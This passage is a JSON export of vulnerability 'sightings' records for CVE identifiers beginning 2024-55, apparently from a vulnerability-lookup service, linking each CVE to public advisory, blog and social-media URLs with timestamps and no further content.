{"vulnerability": "2024-55", "sightings": [{"uuid": "2a0a0418-a695-4b1d-8523-0e0cc75cc753", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5535", "type": "seen", "source": "https://security.paloaltonetworks.com/CVE-2024-5535", "content": "", "creation_timestamp": "2024-09-04T23:20:00.000000Z"}, {"uuid": "82666da3-b560-40ce-add3-91ea2cac5824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-5535", "type": "seen", "source": "https://www.thezdi.com/blog/2024/11/12/the-november-2024-security-update-review", "content": "", "creation_timestamp": "2024-11-12T18:26:35.000000Z"}, {"uuid": "182ff561-3123-4994-a575-1cee3c23938c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5535", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-08", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "70a7ed4a-6925-49ef-a384-d17c082f0c0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-06", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "f0efb847-f3c6-4679-a7f1-c76d5ca7467e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5581", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113528843631977274", "content": "", "creation_timestamp": "2024-11-22T21:57:58.104788Z"}, {"uuid": "5cf26910-c893-4459-a504-7d697f1ae6fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5511", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113528784570595592", "content": "", "creation_timestamp": "2024-11-22T21:42:56.721229Z"}, {"uuid": "309eec3c-582b-42a3-9fc1-9872bace9842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5512", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113528784585872140", "content": "", "creation_timestamp": "2024-11-22T21:42:56.927917Z"}, {"uuid": "2fad3a5d-8e6d-46da-916e-cbec08d803e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5580", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113528843617145440", "content": "", "creation_timestamp": "2024-11-22T21:57:57.975237Z"}, {"uuid": "577b871d-0077-4b92-83e0-aac5adcfa27e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55564", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620257276226459", "content": "", "creation_timestamp": "2024-12-09T01:25:39.539422Z"}, {"uuid": "51030306-86dd-4235-8fa3-19ea38aee010", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55579", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113621931987677784", "content": "", "creation_timestamp": "2024-12-09T08:31:33.512588Z"}, {"uuid": "bde8acf1-6b3e-466d-a125-6f162ed5de41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5559", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-331-02", "content": "", "creation_timestamp": "2024-11-26T11:00:00.000000Z"}, {"uuid": "438fe576-797b-466a-bc43-e742dd322d87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55563", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620042624297259", "content": "", "creation_timestamp": "2024-12-09T00:31:04.030706Z"}, {"uuid": "33ce6a53-b3e1-4281-a4a5-324d2b7948be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55565", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620257291820928", "content": "", "creation_timestamp": "2024-12-09T01:25:39.785585Z"}, {"uuid": "d3fe7f13-87e1-429a-ba04-b0f78fff600b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55578", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620672079786191", "content": "", "creation_timestamp": "2024-12-09T03:11:08.948822Z"}, {"uuid": "bd2be6a4-7695-45fc-8c4c-d8815eacf0c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55564", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620269710436762", "content": "", "creation_timestamp": "2024-12-09T01:28:49.378333Z"}, {"uuid": "9b5a07fe-6722-4800-9a41-84b5d0352a3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55579", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620672094461301", "content": "", "creation_timestamp": "2024-12-09T03:11:09.240327Z"}, {"uuid": "2dd5f263-f5f3-4aa4-a7f7-670980e5b3b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55580", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620672108000112", "content": "", "creation_timestamp": "2024-12-09T03:11:09.547095Z"}, {"uuid": "fa842d81-b665-432f-ae60-c21304dcd839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55268", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113606977813389710", "content": "", "creation_timestamp": "2024-12-06T17:08:30.927142Z"}, {"uuid": "a07d4ced-7a57-4386-86fa-8f4cbd74f841", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55560", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113619720552229214", "content": "", "creation_timestamp": "2024-12-08T23:09:09.727948Z"}, {"uuid": "0bbb03a3-873a-4925-ad59-9f9a41043df6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55565", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620269742187720", "content": "", "creation_timestamp": "2024-12-09T01:28:50.078053Z"}, {"uuid": "0705a952-f997-4836-b481-704e1d01fbf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55582", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620672121902819", "content": "", "creation_timestamp": "2024-12-09T03:11:09.716337Z"}, {"uuid": "ca773b5e-7419-4d0b-96e9-f92669cb7783", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5579", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113528784614528139", "content": "", "creation_timestamp": "2024-11-22T21:42:57.535418Z"}, {"uuid": "d457c5a6-4ff4-496b-97cc-959c9d2a0e56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5513", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113528784599561476", "content": "", "creation_timestamp": "2024-11-22T21:42:57.648404Z"}, {"uuid": "81af38e8-d2a2-47fd-9578-621a5e5113c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55566", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620328815144085", "content": "", "creation_timestamp": "2024-12-09T01:43:51.070954Z"}, {"uuid": "70b6ab0e-f96a-457b-90dd-14311b97f531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5510", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113528725567884958", "content": "", "creation_timestamp": "2024-11-22T21:27:56.543849Z"}, {"uuid": "eb2a1225-0bab-4b16-885f-e57796f9d2c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55601", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113624946852005474", "content": "", "creation_timestamp": "2024-12-09T21:18:16.816483Z"}, {"uuid": "05fa21d0-1724-47e7-8188-049e1be38745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55634", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113625459368103606", "content": "", "creation_timestamp": "2024-12-09T23:28:37.125366Z"}, {"uuid": "5b256a34-c6c2-41f0-8793-035576c3ec42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55635", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113625459381586828", "content": "", "creation_timestamp": "2024-12-09T23:28:37.364741Z"}, {"uuid": "ac6a1652-bf1c-482a-b9cf-c403edef7b7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55636", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113625459395435245", "content": "", "creation_timestamp": "2024-12-09T23:28:37.743601Z"}, {"uuid": "8337260f-ddd3-48f4-a27f-2f8be6d0a1f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55637", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113625518395820737", "content": "", "creation_timestamp": "2024-12-09T23:43:38.070564Z"}, {"uuid": "5c866f37-f4bc-48dd-a11e-9302ba5f3519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55638", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113625518410996417", "content": "", "creation_timestamp": "2024-12-09T23:43:38.397151Z"}, {"uuid": "c9146a49-fb06-4fb1-8de2-fd8d4cdf89e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55586", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113628846923942834", "content": "", "creation_timestamp": "2024-12-10T13:50:07.343110Z"}, {"uuid": "6eee51a3-b9cc-410d-900c-de53b6f0c9e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55544", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113629400283041834", "content": "", "creation_timestamp": "2024-12-10T16:10:50.707320Z"}, {"uuid": "34e7e719-6745-451a-a397-5699192012d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55545", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113629446468692443", "content": "", "creation_timestamp": "2024-12-10T16:22:35.490137Z"}, {"uuid": "6255f3ef-66dc-4492-820e-c2972fd81e23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55546", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113629501680222115", "content": "", "creation_timestamp": "2024-12-10T16:36:37.945651Z"}, {"uuid": "f4d3a15c-813c-4777-ab57-d40cd2d7a41a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55547", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113629501694309248", "content": "", "creation_timestamp": "2024-12-10T16:36:38.417730Z"}, {"uuid": "9625ab5f-25bb-4300-bcba-2e75ba4b8ba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55546", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113629514491334918", "content": "", "creation_timestamp": "2024-12-10T16:39:53.491317Z"}, {"uuid": "fe38de9d-e9d4-4efc-a033-0726bc936d64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55547", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113629514508418560", "content": "", "creation_timestamp": "2024-12-10T16:39:53.740692Z"}, {"uuid": "a6cd60e6-e69b-4a27-a1b5-f9bb21503093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55548", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113629514523676827", "content": "", "creation_timestamp": "2024-12-10T16:39:53.997748Z"}, {"uuid": "35b73064-bc64-4f1a-bc6b-fde0e4e2f590", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5535", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113629897738815588", "content": "", "creation_timestamp": "2024-12-10T18:17:21.595804Z"}, {"uuid": "66f1ea52-4bbd-483f-837e-2824fda71f7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55461", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676144237624876", "content": "", "creation_timestamp": "2024-12-18T22:18:26.863419Z"}, {"uuid": "9a93c43b-af79-448b-80fa-4002dfe64514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55603", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676532984953254", "content": "", "creation_timestamp": "2024-12-18T23:57:18.839923Z"}, {"uuid": "27cb00e0-5ef1-47ec-b951-2da2baed24fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55975", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113673725405915672", "content": "", "creation_timestamp": "2024-12-18T12:03:18.465187Z"}, {"uuid": "8a03d0e1-0be7-4ade-9704-2c8ccdd3b312", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55983", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113673725420085750", "content": "", "creation_timestamp": "2024-12-18T12:03:18.950969Z"}, {"uuid": "3bd40173-fe03-4aa4-8e7a-5583c388d821", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55186", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113685819017965453", "content": "", "creation_timestamp": "2024-12-20T15:18:52.318861Z"}, {"uuid": "114a5440-0352-4f45-b46f-7b444dbff67d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55984", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113673725434750595", "content": "", "creation_timestamp": "2024-12-18T12:03:19.045419Z"}, {"uuid": "813cbf33-5cca-480f-8c1f-062fc7c4de7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55081", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoer7qtvu22", "content": "", "creation_timestamp": "2024-12-19T17:15:47.977911Z"}, {"uuid": "db7deeb6-e131-4fb1-b3f2-feb28ac30c6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55653", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113630998146893259", "content": "", "creation_timestamp": "2024-12-10T22:57:12.243378Z"}, {"uuid": "7a3bf9f4-da40-4820-a77f-3ed0068e8dc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55655", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113631058808905104", "content": "", "creation_timestamp": "2024-12-10T23:12:37.923161Z"}, {"uuid": "6dd18b8e-49a3-42d3-bc7d-efa69ef0187f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55884", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636359963593496", "content": "", "creation_timestamp": "2024-12-11T21:40:47.124246Z"}, {"uuid": "2c6df3a0-c09e-4e76-ace6-a52e6fe2997d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55652", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636619774435599", "content": "", "creation_timestamp": "2024-12-11T22:46:51.469779Z"}, {"uuid": "ccdb8a79-6d1c-4993-a44a-081736a8e1b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55657", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636619788953280", "content": "", "creation_timestamp": "2024-12-11T22:46:51.735871Z"}, {"uuid": "b474bb51-276f-4055-95c1-d1ff43c7ff95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55658", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636645888375126", "content": "", "creation_timestamp": "2024-12-11T22:53:29.909253Z"}, {"uuid": "20685dd5-a9ae-4e04-934f-2a03512446f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55660", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637199321243723", "content": "", "creation_timestamp": "2024-12-12T01:14:14.772453Z"}, {"uuid": "382ae0a6-90b0-4f04-8b08-7f9f16241967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55659", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637199306185680", "content": "", "creation_timestamp": "2024-12-12T01:14:14.890917Z"}, {"uuid": "436d7401-e0ff-4772-963b-930abd08849b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55985", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113673784441030130", "content": "", "creation_timestamp": "2024-12-18T12:18:19.184161Z"}, {"uuid": "c253bce3-6ad1-4ea1-ba2b-e5d45c9e5020", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55997", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113673784455654728", "content": "", "creation_timestamp": "2024-12-18T12:18:19.429725Z"}, {"uuid": "68a96594-34c9-4aa2-a2a9-114bdbb61400", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55952", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113675333546421490", "content": "", "creation_timestamp": "2024-12-18T18:52:16.726273Z"}, {"uuid": "49a5a441-528a-4361-a675-90467256b26f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55633", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113640374538955423", "content": "", "creation_timestamp": "2024-12-12T14:41:44.610863Z"}, {"uuid": "4fffbb01-54d9-454b-9cc0-af2da63037f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55099", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113640524757203803", "content": "", "creation_timestamp": "2024-12-12T15:19:56.925240Z"}, {"uuid": "cd3cc75d-2484-4061-acd8-67ef394e50d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55662", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113641035648128218", "content": "", "creation_timestamp": "2024-12-12T17:29:52.583437Z"}, {"uuid": "16c199e2-67db-47a2-8a3f-1d0045952028", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55663", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113641379176104368", "content": "", "creation_timestamp": "2024-12-12T18:57:14.101929Z"}, {"uuid": "843bd1f4-02f0-49e0-b5c0-35a0df4f0f1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113641404885985284", "content": "", "creation_timestamp": "2024-12-12T19:03:46.488997Z"}, {"uuid": "43a95cb4-8d37-4ad6-8d63-cda79502a81c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55876", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113641404902137205", "content": "", "creation_timestamp": "2024-12-12T19:03:46.818792Z"}, {"uuid": "d419a9fd-1be0-48b6-940e-dedc9a8737d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55877", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113641477877056322", "content": "", "creation_timestamp": "2024-12-12T19:22:20.132021Z"}, {"uuid": "43b0bf63-4f08-402b-aba1-616ecb23d5e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55879", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113641477906690234", "content": "", "creation_timestamp": "2024-12-12T19:22:20.814235Z"}, {"uuid": "e3067c83-37fd-48f2-abb1-6d6526224aa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55878", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113641477891690387", "content": "", "creation_timestamp": "2024-12-12T19:22:20.914528Z"}, {"uuid": "282a8f44-ddab-435e-96aa-0144b70be44c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55885", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113641505474577906", "content": "", "creation_timestamp": "2024-12-12T19:29:21.316905Z"}, {"uuid": "cfa943e0-3483-4440-a99a-b70d4e13128f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55886", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113641505490165741", "content": "", "creation_timestamp": "2024-12-12T19:29:21.625849Z"}, {"uuid": "5b8a08ef-8642-44b2-b9cd-cd9155d13fc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55888", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113641528492308277", "content": "", "creation_timestamp": "2024-12-12T19:35:12.445400Z"}, {"uuid": "31ed8002-ad51-4d30-a993-8717a9eaffa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55471", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113685853518063791", "content": "", "creation_timestamp": "2024-12-20T15:27:38.625664Z"}, {"uuid": "db2844d7-4955-4150-82bc-76fb4e5c7155", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55889", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113645827432960822", "content": "", "creation_timestamp": "2024-12-13T13:48:29.101227Z"}, {"uuid": "544a3fc6-6c3a-404d-9368-0b12d5bd4e78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113647607008214402", "content": "", "creation_timestamp": "2024-12-13T21:21:03.383376Z"}, {"uuid": "01788d57-0016-4829-bab7-845248cec74a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113651936422336008", "content": "", "creation_timestamp": "2024-12-14T15:42:04.783285Z"}, {"uuid": "3212f09f-344a-4810-8230-a45ca1e2e4d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55970", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113654586478984742", "content": "", "creation_timestamp": "2024-12-15T02:56:01.597755Z"}, {"uuid": "c5f2c6aa-919a-4bb5-8184-ded7216a8b30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55969", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113654671580362717", "content": "", "creation_timestamp": "2024-12-15T03:17:40.131400Z"}, {"uuid": "89f3f3c3-131e-4322-8707-a8d18768e887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://social.circl.lu/users/vulnerability_lookup/statuses/113656290741715294", "content": "", 